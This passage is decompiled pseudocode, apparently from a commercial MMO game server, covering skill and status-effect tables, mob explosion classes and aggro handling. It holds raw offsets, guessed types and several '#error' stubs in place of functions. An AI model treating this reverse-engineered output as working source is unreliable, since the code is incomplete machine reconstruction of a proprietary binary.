result; // eax@1 char v3; // dl@1 *(_WORD *)this = skillid; *(_WORD *)(this + 2) = -1; *(_WORD *)(this + 20) = -1; *(_BYTE *)(this + 22) &= 0xFCu; result = 0; *(_BYTE *)(this + 23) = 0; *(_DWORD *)(this + 24) = 0; *(_DWORD *)(this + 28) = 0; *(_DWORD *)(this + 32) = 0; *(_DWORD *)(this + 36) = 0; *(_DWORD *)(this + 40) = 0; *(_DWORD *)(this + 44) = 0; *(_DWORD *)(this + 48) = 0; *(_DWORD *)(this + 52) = 0; *(_DWORD *)(this + 56) = 0; *(_DWORD *)(this + 60) = 0; *(_DWORD *)(this + 64) = 0; *(_DWORD *)(this + 68) = 0; *(_DWORD *)(this + 72) = 0; *(_DWORD *)(this + 76) = 0; *(_WORD *)(this + 80) = 0; v3 = *(_BYTE *)(this + 88) & 0xFE; *(_DWORD *)(this + 84) = 0; *(_BYTE *)(this + 88) = v3; *(_WORD *)(this + 108) = 0; *(_DWORD *)(this + 92) = 0; *(_DWORD *)(this + 104) = 0; return result; } //----- (004775B0) -------------------------------------------------------- MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_FindAbStateAlways(MiscDataTable *this, unsigned __int16 abstateid) { int v2; // ST08_4@1 MiscDataTable::MiscData_AbState *result; // eax@1 unsigned __int16 key; // [sp+0h] [bp-Ch]@1 v2 = this->mdt_AbStateDataSize; key = abstateid; result = (MiscDataTable::MiscData_AbState *)bsearch( &key, this->mdt_AbStateDataArray, v2, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( !result ) result = (MiscDataTable::MiscData_AbState *)&MiscDataTable::mdt_DefAbState; return result; } // CBB24AC: using guessed type __int16 MiscDataTable__mdt_DefAbState; //----- (004775F0) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(MobExplosionElement::MobExplosionEnemy *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)MobExplosionElement::MobExplosionEnemy::_vftable_; } // 5B73E0: using guessed type int (__thiscall *MobExplosionElement__MobExplosionEnemy___vftable_[3])(MobExplosionElement::MobExplosionBase *this, int mob); //----- (00477600) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionTarget::MobExplosionTarget(MobExplosionElement::MobExplosionTarget *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)MobExplosionElement::MobExplosionTarget::_vftable_; } // 5B73E4: using guessed type int (__thiscall *MobExplosionElement__MobExplosionTarget___vftable_[2])(MobExplosionElement::MobExplosionBase *this, int mob); //----- (00477610) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionAlways::MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionAlways::_vftable_; } // 5B73E8: using guessed type int (__thiscall *MobExplosionElement__MobExplosionAlways___vftable_)(MobExplosionElement::MobExplosionBase *this, int mob); //----- (00477620) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this) { this->baseclass_0.vfptr = (MobExplosionElement::MobExplosionBaseVtbl *)&MobExplosionElement::MobExplosionBase::_vftable_; } // 5B73DC: using guessed type int (__stdcall *MobExplosionElement__MobExplosionBase___vftable_)(int mob); //----- (00477630) -------------------------------------------------------- void __thiscall AxialListAggroAdjust::_AxialListAggroAdjust(AxialListAggroAdjust *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListAggroAdjust::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B73EC: using guessed type int (__stdcall *AxialListAggroAdjust___vftable_)(int, int, int distancesquar); //----- (00477640) -------------------------------------------------------- MobTargetSelector *__thiscall std::basic_streambuf>::setbuf(MobTargetSelector *this, #325 *__formal, int aggrorate) { return this; } //----- (00477650) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SkinPolymorph(int this, __int16 mobid, __int16 AbIndex) { int v3; // esi@1 char *v4; // eax@1 __int16 v5; // dx@1 int v6; // ST04_4@1 int v7; // eax@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@1 int v9; // [sp+30h] [bp-4h]@1 v3 = this; *(_WORD *)(*(_DWORD *)(this + 32010) + 78) = mobid; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; v5 = *(_WORD *)(this + 4); *((_WORD *)v4 + 2) = mobid; *((_WORD *)v4 + 3) = AbIndex; *((_WORD *)v4 + 1) = v5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)(v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v7, v6, 0, 0, (int)&alchat, 1, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00477700) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::sm_TooLongChase(ShineObjectClass::ShineServant *this) { (*(void (__stdcall **)(_DWORD))(*(_DWORD *)&this->gap0[0] + 2888))(0); } //----- (00477710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineServant::sm_serv_VanishReserv(ShineObjectClass::ShineServant *this, int sec) { ShineObjectClass::ShineServant *v2; // esi@1 int v3; // eax@1 unsigned __int16 **v4; // eax@1 unsigned __int16 v5; // di@3 AxialListMobSuicide alms; // [sp+0h] [bp-14h]@3 int v7; // [sp+10h] [bp-4h]@3 v2 = this; this->ss_ExplosionManager = (MobExplosionElement::MobExplosionBase *)&mobexplosebase; v3 = *(_DWORD *)&this->gap0[0]; *(_DWORD *)&this->gap0[7580] = clockwatch.cw_CurrTick + 10 * sec; (*(void (**)(void))(v3 + 36))(); v4 = *(unsigned __int16 ***)&v2->gap0[7536]; if ( v4 ) { if ( *v4 ) { v5 = **v4; AxialListIterator::AxialListIterator(&alms.baseclass_0); alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.alms_MobID = v5; v7 = 0; AxialListMobSuicide::alms_SelfKill(&alms, (#325 *)v2); v7 = -1; alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); } } } // 5A473C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #325 *obj, int distancesquar); // 609BC0: using guessed type int (__stdcall **mobexplosebase)(int mob); //----- (004777C0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_StateConditionStore(MiscDataTable *this, MiscDataTable::MiscData_VarifyByAbstate *temp) { char *v2; // edx@4 if ( this->mdt_VarifAbstateSize >= 0x32u ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_StateConditionStore : Too many data", 0); ShineExit("MiscDataTable::mdt_StateConditionStore"); } v2 = (char *)&this->mdt_VarifAbstateArray[this->mdt_VarifAbstateSize]; *(_DWORD *)v2 = *(_DWORD *)&temp->mdvba_Skill; *((_DWORD *)v2 + 1) = temp->mdvba_Condition; *((_DWORD *)v2 + 2) = *(_DWORD *)&temp->mdvba_DamageRate; *((_DWORD *)v2 + 3) = temp->mdvba_NewState; *((_DWORD *)v2 + 4) = *(_DWORD *)&temp->mdvba_Crirate; ++this->mdt_VarifAbstateSize; } //----- (00477830) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_StateCondition(MiscDataTable *this, OptionReader *miscdata) { void *v2; // esi@1 MiscDataTable *v3; // ebx@1 void *v4; // ebp@2 int v5; // edi@6 int v6; // esi@6 signed int v7; // ecx@6 bool v8; // zf@6 int v9; // edi@11 int v10; // esi@11 signed int v11; // ecx@11 bool v12; // zf@11 int v13; // edi@16 int v14; // esi@16 signed int v15; // ecx@16 bool v16; // zf@16 unsigned int v17; // eax@23 __int16 v18; // dx@26 int v19; // esi@26 unsigned int v20; // eax@26 int v21; // eax@28 char v22; // cl@29 int v23; // eax@30 char v24; // cl@31 char *v25; // edi@32 char v26; // al@33 char v27; // dl@34 char *v28; // edi@34 char v29; // al@35 char v30; // cl@36 int v31; // esi@37 int v32; // edi@37 char *v33; // eax@38 unsigned int v34; // eax@38 int v35; // ecx@39 int v36; // eax@42 MiscDataTable::MiscData_VarifyByAbstate::AbnormalStateAttr v37; // edx@42 ABSTATEINDEX v38; // ecx@42 ORToken v39; // [sp-28h] [bp-218h]@2 void *v40; // [sp-24h] [bp-214h]@2 void *v41; // [sp-20h] [bp-210h]@2 void *v42; // [sp-1Ch] [bp-20Ch]@2 void *v43; // [sp-18h] [bp-208h]@2 int v44; // [sp-14h] [bp-204h]@2 int k; // [sp+0h] [bp-1F0h]@1 MiscDataTable::MiscData_VarifyByAbstate temp; // [sp+4h] [bp-1ECh]@10 ORToken *v47; // [sp+18h] [bp-1D8h]@2 MapSubString mss; // [sp+1Ch] [bp-1D4h]@34 char mapto[128]; // [sp+E0h] [bp-110h]@31 char mapfrom[128]; // [sp+160h] [bp-90h]@29 unsigned int v51; // [sp+1E0h] [bp-10h]@44 int v52; // [sp+1ECh] [bp-4h]@36 v2 = 0; v3 = this; MiscDataTable::mdt_DefVarifAbstate = -1; dword_CBB24BC = 0; word_CBB24C0 = 1000; dword_CBB24C4 = 412; word_CBB24C8 = 0; k = 0; while ( 1 ) { v44 = k; v47 = &v39; v43 = v2; v42 = v2; v41 = v2; v40 = v2; *(_DWORD *)&v39.ort_Name[0] = v2; strncpy(v39.ort_Name, "ExpandSkill", 0x14u); v4 = OptionReader::or_SelectFromOrder(miscdata, v39, v44); if ( v4 == v2 ) break; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 104) ) { v44 = *(_BYTE *)v4; AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_StateCondition : Checksum error", v44); ShineExit("MiscDataTable::mdt_StateCondition"); } v5 = (int)"Stun"; v6 = (int)((char *)v4 + 34); v7 = 5; v8 = 1; do { if ( !v7 ) break; v8 = *(_BYTE *)v6++ == *(_BYTE *)v5++; --v7; } while ( v8 ); if ( v8 ) { temp.mdvba_Condition = 1; } else { v9 = (int)"Slow"; v10 = (int)((char *)v4 + 34); v11 = 5; v12 = 1; do { if ( !v11 ) break; v12 = *(_BYTE *)v10++ == *(_BYTE *)v9++; --v11; } while ( v12 ); if ( v12 ) { temp.mdvba_Condition = 2; } else { v13 = (int)"ACMRMinus"; v14 = (int)((char *)v4 + 34); v15 = 10; v16 = 1; do { if ( !v15 ) break; v16 = *(_BYTE *)v14++ == *(_BYTE *)v13++; --v15; } while ( v16 ); if ( !v16 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_StateCondition : Invalid Condition", (const char *)v4 + 34); ShineExit("MiscDataTable::mdt_StateCondition"); } temp.mdvba_Condition = 3; } } v17 = BTree::operator__(&unk_615CF4, (const char *)v4 + 69); if ( v17 == -1 || (temp.mdvba_NewState = v17, v17 > 0x19C) ) temp.mdvba_NewState = 412; v18 = *((_WORD *)v4 + 51); temp.mdvba_DamageRate = *(_WORD *)((char *)v4 + 67); v19 = (int)((char *)v4 + 1); temp.mdvba_Crirate = v18; v20 = BTree::operator__(&skillnametree, (const char *)v4 + 1); if ( v20 == -1 ) { v21 = (int)((char *)v4 + 1); do { v22 = *(_BYTE *)v21; *(&mapfrom[v21] - v19) = *(_BYTE *)v21; ++v21; } while ( v22 ); v23 = (int)((char *)v4 + 1); do { v24 = *(_BYTE *)v23; *(&mapto[v23] - v19) = *(_BYTE *)v23; ++v23; } while ( v24 ); v25 = &mapto[127]; do v26 = (v25++)[1]; while ( v26 ); v27 = a01[2]; *(_WORD *)v25 = *(_WORD *)"01"; v25[2] = v27; v28 = (char *)&mss.mss_StrLen + 3; do v29 = (v28++)[1]; while ( v29 ); v30 = a99[2]; *(_WORD *)v28 = *(_WORD *)"99"; v44 = (int)mapto; v28[2] = v30; MapSubString::MapSubString(&mss, mapfrom, (char *)v44); v52 = 0; MapSubString::mss_Home(&mss); if ( MapSubString::mss_Next(&mss) ) { v31 = *(_DWORD *)&temp.mdvba_DamageRate; v32 = *(_DWORD *)&temp.mdvba_Crirate; do { v33 = MapSubString::mss_Get(&mss); v34 = BTree::operator__(&skillnametree, v33); if ( v34 == -1 ) break; v35 = v3->mdt_VarifAbstateSize < 0x32u; v8 = v3->mdt_VarifAbstateSize >= 0x32u; temp.mdvba_Skill = v34; v47 = (ORToken *)v35; if ( v8 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_StateConditionStore : Too many data", 0); ShineExit("MiscDataTable::mdt_StateConditionStore"); } v36 = (int)&v3->mdt_VarifAbstateArray[v3->mdt_VarifAbstateSize]; v37 = temp.mdvba_Condition; *(_DWORD *)v36 = *(_DWORD *)&temp; v38 = temp.mdvba_NewState; *(_DWORD *)(v36 + 4) = v37; *(_DWORD *)(v36 + 8) = v31; *(_DWORD *)(v36 + 12) = v38; *(_DWORD *)(v36 + 16) = v32; ++v3->mdt_VarifAbstateSize; } while ( MapSubString::mss_Next(&mss) ); } v52 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mss); ++k; v2 = 0; } else { temp.mdvba_Skill = v20; MiscDataTable::mdt_StateConditionStore(v3, &temp); ++k; v2 = 0; } } qsort(v3->mdt_VarifAbstateArray, v3->mdt_VarifAbstateSize, 0x14u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); __security_check_cookie(v51); } // CBB24B8: using guessed type __int16 MiscDataTable__mdt_DefVarifAbstate; // CBB24BC: using guessed type int dword_CBB24BC; // CBB24C0: using guessed type __int16 word_CBB24C0; // CBB24C4: using guessed type int dword_CBB24C4; // CBB24C8: using guessed type __int16 word_CBB24C8; //----- (00477BA0) -------------------------------------------------------- #error "477BA0: undefined or illegal type '#740' (funcsize=268)" //----- (00477F40) -------------------------------------------------------- #error "477F40: undefined or illegal type '#740' (funcsize=72)" //----- (00478070) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_SkillBufferAlloc(void *base, const char *flag) { void *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // di@1 unsigned int v5; // ST08_4@4 unsigned int v6; // ST08_4@8 unsigned int v7; // ST08_4@9 __int16 key; // [sp+14h] [bp-84h]@4 unsigned int v9; // [sp+88h] [bp-10h]@12 int v10; // [sp+94h] [bp-4h]@1 v2 = base; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiscDataTable::mdt_SkillBufferAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiscDataTable::mdt_SkillBufferAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; v3 = BTree::operator__(&skillnametree, flag); v4 = v3; if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : Imvalid skill name", flag); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } v5 = *((_DWORD *)v2 + 2900); key = v3; if ( !bsearch(&key, v2, v5, 0x74u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) ) { if ( *((_DWORD *)v2 + 2900) >= 0x64u ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : Too many Data", 0); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } MiscDataTable::MiscData_Skill::mds_Init((int)((char *)v2 + 116 * *((_DWORD *)v2 + 2900)), v4); v6 = *((_DWORD *)v2 + 2900) + 1; *((_DWORD *)v2 + 2900) = v6; qsort(v2, v6, 0x74u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } v7 = *((_DWORD *)v2 + 2900); key = v4; if ( bsearch(&key, v2, v7, 0x74u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : skillarray error", 0); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiscDataTable::mdt_SkillBufferAlloc"); __security_check_cookie(v9); } //----- (00478240) -------------------------------------------------------- MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_AbStateBufferAlloc(MiscDataTable *this, char *index) { MiscDataTable *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // di@1 unsigned int v5; // ST08_4@4 int v6; // eax@8 char v7; // cl@8 unsigned int v8; // ST08_4@8 unsigned int v9; // ST08_4@9 void *v10; // esi@9 __int16 key; // [sp+4h] [bp-18h]@4 int v13; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiscDataTable::mdt_AbStateBufferAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiscDataTable::mdt_AbStateBufferAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v3 = BTree::operator__(&unk_6158F0, index); v4 = v3; if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : Imvalid skill name", index); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } v5 = v2->mdt_AbStateDataSize; key = v3; if ( !bsearch(&key, v2->mdt_AbStateDataArray, v5, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare) ) { if ( v2->mdt_AbStateDataSize >= 0x32u ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : Too many Data", 0); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } v6 = (int)((char *)v2 + 12 * (v2->mdt_AbStateDataSize + 967)); v7 = v2->gap0[12 * (v2->mdt_AbStateDataSize + 967) + 2] & 0xF0; *(_WORD *)v6 = v4; *(_BYTE *)(v6 + 2) = v7; *(_DWORD *)(v6 + 4) = 0; *(_DWORD *)(v6 + 8) = 0; v8 = v2->mdt_AbStateDataSize + 1; v2->mdt_AbStateDataSize = v8; qsort((void *)v2->mdt_AbStateDataArray, v8, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } v9 = v2->mdt_AbStateDataSize; key = v4; v10 = bsearch(&key, v2->mdt_AbStateDataArray, v9, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : skillarray error", 0); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiscDataTable::mdt_AbStateBufferAlloc"); return (MiscDataTable::MiscData_AbState *)v10; } //----- (00478400) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionBase::meb_Vanish(MobExplosionElement::MobExplosionBase *this, int mob) { int sec; // [sp+18h] [bp+8h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Vanish"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionBase::meb_Vanish"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mob ) (*(void (__stdcall **)(int))(*(_DWORD *)mob + 2888))(sec); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Vanish"); } //----- (004784A0) -------------------------------------------------------- #error "4784A0: undefined or illegal type '#740' (funcsize=197)" //----- (00478760) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Run(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Run"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Run"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 1 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Run"); return 1; } //----- (004787D0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Walk(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 2 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"); return 1; } //----- (00478840) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attack(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 4 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"); return 1; } //----- (004788B0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attacked(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 8 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"); return 1; } //----- (00478920) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(AbnormalStateContainer::AbstateElementInObject *this, CharacterInventory *inven) { AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 MiscDataTable::MiscData_AbState *v3; // eax@1 int v4; // eax@2 DiceTaiSai *v5; // eax@4 int v6; // eax@5 ItemDataBox::ItemDataBoxIndex *v7; // eax@5 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->aeo_MiscData; v10 = 0; if ( !v3 || (v4 = *(_DWORD *)&v3->mdas_ResetEquipment._bf0) == 0 || v4 != 1 || (v5 = (DiceTaiSai *)((int (__stdcall *)(signed int))inven->ci_Equipment.baseclass_0.vfptr->ib_GetInventoryCell)(10)) == 0 ) goto LABEL_7; MoveManager::MoveManager(v5); v7 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v6 + 8)); if ( !v7 ) { v2->aeo_Tick.terminate = clockwatch.cw_CurrTick; LABEL_7: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"); return 1; } if ( *(_DWORD *)&v2->aeo_MiscData->gap5[3] != 1 || v7->data->Class == 7 ) goto LABEL_7; v2->aeo_Tick.terminate = clockwatch.cw_CurrTick; v10 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (00478A30) -------------------------------------------------------- #error "478A30: undefined or illegal type '#325' (funcsize=120)" //----- (00478BD0) -------------------------------------------------------- #error "478BD0: undefined or illegal type '#325' (funcsize=98)" //----- (00478D30) -------------------------------------------------------- char __thiscall AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call(AbnormalStateContainer::ListIteratorAbstateEquip *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { AbnormalStateContainer::ListIteratorAbstateEquip *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(ele, v3->liae_Inven); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"); return v5; } //----- (00478DE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@1 AbnormalStateContainer::ListIteratorAbstateEquip liae; // [sp+4h] [bp-14h]@1 int v5; // [sp+14h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; liae.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&AbnormalStateContainer::ListIteratorAbstateEquip::_vftable_; liae.liae_Inven = (CharacterInventory *)((char *)v1 + 32168); v2 = *(_DWORD *)v1; LOBYTE(v5) = 1; v3 = (*(int (__thiscall **)(void *))(v2 + 1304))(v1); List::l_4AllInList((List *)(v3 + 3480), (ListIteratorDefault *)&liae); --funcallanalizer.fca_stackpoint; liae.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"); } // 5B7A44: using guessed type int (__stdcall *AbnormalStateContainer__ListIteratorAbstateEquip___vftable_)(int ele, __int16 handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00478EB0) -------------------------------------------------------- #error "478EB0: undefined or illegal type '#325' (funcsize=36)" //----- (00478F60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust(void *this, int aggrorate, int range) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListAggroAdjust alaa; // [sp+1Ch] [bp-14h]@1 int v7; // [sp+2Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; AxialListIterator::AxialListIterator(&alaa.baseclass_0); alaa.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListAggroAdjust::_vftable_; alaa.alaa_AggroRate = aggrorate; v4 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, 